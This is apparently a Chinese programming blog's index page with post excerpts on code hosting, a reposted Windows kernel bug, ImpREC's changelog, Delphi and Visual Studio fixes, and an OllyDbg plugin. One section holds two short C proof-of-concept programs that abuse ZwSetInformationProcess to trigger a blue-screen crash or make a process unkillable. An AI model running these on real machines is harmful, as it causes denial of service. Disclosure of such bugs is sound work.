Open Sources

code

至于开源的东西,其实自己也蛮想做的。但是苦于技术水平不够,所以一直也没什么东西公布。刚开始的时候代码都是托管在Googlecode, 后来迁移到了github,但是苦于github不能创建私有项目,于是最后选择了bitbucket上,另外一个好处是可以绑定域名。于是以后有代码公布的话,可以访问这个网址访问http://code.h4ck.org.cn

ProcessIoPriority Bug (BSOD/Non-Killable Process)

//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar

BSOD:
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0xFFFFFFFF;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Non-Killable Process:

#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0x8000F129;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.

Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html

ImpREC lite v11 Source Code(Share)

News:
—–
ImpREC is back to public. This version can now support Windows 95 (Thanks to EliCZ,
Unknown One and ZigD for testing).
It has also been redesigned to support more import rebuilding schemes (relative calls for
example). The plugin interface has changed completely (using filemapping) and now supports
the ‘Exact Call’ feature. This last one has been linked with the ‘Create New IAT’. It will
be useful for all mangled schemes which annihilate completely or partially the IAT. The
‘AutoTrace’ is more stable because it will not use the Tracer Level2 anymore. A built-in
coloured disassembler/hew-viewer will help you to watch the redirected code. Then you
should not need the ASProtect plugin because of no more updates but it still is there as
example. Please take a look at <History.txt> for all details.

I hope you will enjoy this version like i did to make it,
Regards,

MackT/uCF.

v1.6 FINAL (PUBLIC VERSION)
—————————

– Misc

– Finally fixed the bug in the check for adding section (Thanks to Christoph)

v1.6 beta *PRIVATE*
——————-
– Tracers
– Tracer Level3
– Added EIP Log
– Misc
– Finally, support relative calls rebuild (not with the loader yet)
– Added a disassembler window for redirected code
– Added colour to all known imports (Thanks to Jeff Schering)
– Added a hex viewer (built with the disassembler)
– Fixed blink in RichEdit control
– Checkbox “OpCodes” is enable/disable depending on “Hex View”
(Thanks to Muffin)

Continue Reading

[DCC Error] E2161 Error: RLINK32: Unsupported 16bit resource in file “.dfm”

text

Delphi程序的郁闷之处就在于各种第三方的库处理起来太麻烦了,总是有人喜欢引入一些从来没见过的东西,于是编译的时候就变得非常蛋疼,不是库不好找而是不同的版本导致出现各种错误。比如alphacontrols这个鸟插件就测试了n个版本。其实这个不是最蛋疼的,最蛋疼的是处理完了所有的错误之后编译出现问题了:[DCC Error] E2161 Error: RLINK32: Unsupported 16bit resource in file “.dfm”

在网上搜索了一通说实话意义不大,知道后来发现这么一个东西:http://bbs.csdn.net/topics/40441840

里面有段文字提到了这个问题:

我好像遇到过类似的问题。
一个正常的Form,在设计时,在窗体上点击右键,最底下的“Text DFM”应该默认是打上勾的(表示该窗体的DFM文件是以纯文本形式保存的),但是如果那个勾去掉,则该文件用记事本打开的话看到都是一些乱码(具体是怎么保存的我没有深究过)。
我当时遇到这种情况是有三个人同时在开发一个模块,后来某一天突然发现某一个窗体在其中一个人的机器上打开时报类似于楼主的错误,我发现那个DFM文件用记事本打开看到的都是乱码,而在我的机器上又可以用Delphi打开那个窗体,把“Text DFM”打上勾之后保存再拿到那个人的机器上就可以打开了。
不知道你的文件是不是在不同的机器编写过,你用记事本打开看看是不是乱码,如果是的话应该就是跟我一样的问题。找一台可以用Delphi打开该文件的机器(上一次打开过这个文件的机器应该就可以),把“Text DFM”打上勾吧,呵呵。

而此处我的情况则恰恰相反,我是把那个勾去掉了就能编译了,唉,各种蛋疼的错误啊,错误。

Continue Reading

VS 2012示例代码浏览器

安装地址:http://visualstudiogallery.msdn.microsoft.com/4934b087-e6cc-44dd-b992-a71f00a2a6df

亮点介绍

集成丰富的示例代码搜索

Visual Studio 示例代码浏览器和Visual Studio无缝集成。充分利用Visual Studio界面让你在开发过程中轻松搜索示例代码。譬如,当你在Visual Studio中编辑代码时,你可以选中一段API或代码段,敲击Alt+F1快捷键或右键选择Search Code Samples,便可针对所选择API搜索相关示例代码。

Continue Reading

Ollydbg/Immdbg Mem Viewer Source Code

开头先说句废话,有的时候软件更新后发现越更新越烂了,操,比如opera的这次更新。

这个东西是这篇文章中的源代码:http://www.h4ck.org.cn/2012/10/memviewer-1-0-for-ollydbg-v1-0-and-immunity-debugger-v1-8x/

代码地址:http://code.google.com/p/ollydbg-mem-viewer/

下载地址:http://code.google.com/p/ollydbg-mem-viewer/downloads/list

Continue Reading

Visual Studio窗口蛋疼的抖动

昨天在改代码的时候就发现在按键盘的D键进行输入的时候VS会像抽风一样。本来以为是Visual Assist X插件的问题,在禁用这个插件之后上面的症状就消失了。一旦启动就会重新开始抽风,但是比较奇怪的是在Windows 7系统下也用了这个插件没出现这样的问题。

后来想到可能是Windows Blinds导致的,在禁用Windows blinds后症状也消失了。于是才发现是这两个鸟软件冲突导致的。其实解决的办法也比较简单。打开Windows Blinds设置窗口。切换到
单一程序设置窗口,将vs的主程序添加之后选择禁用所有的特效即可。

Continue Reading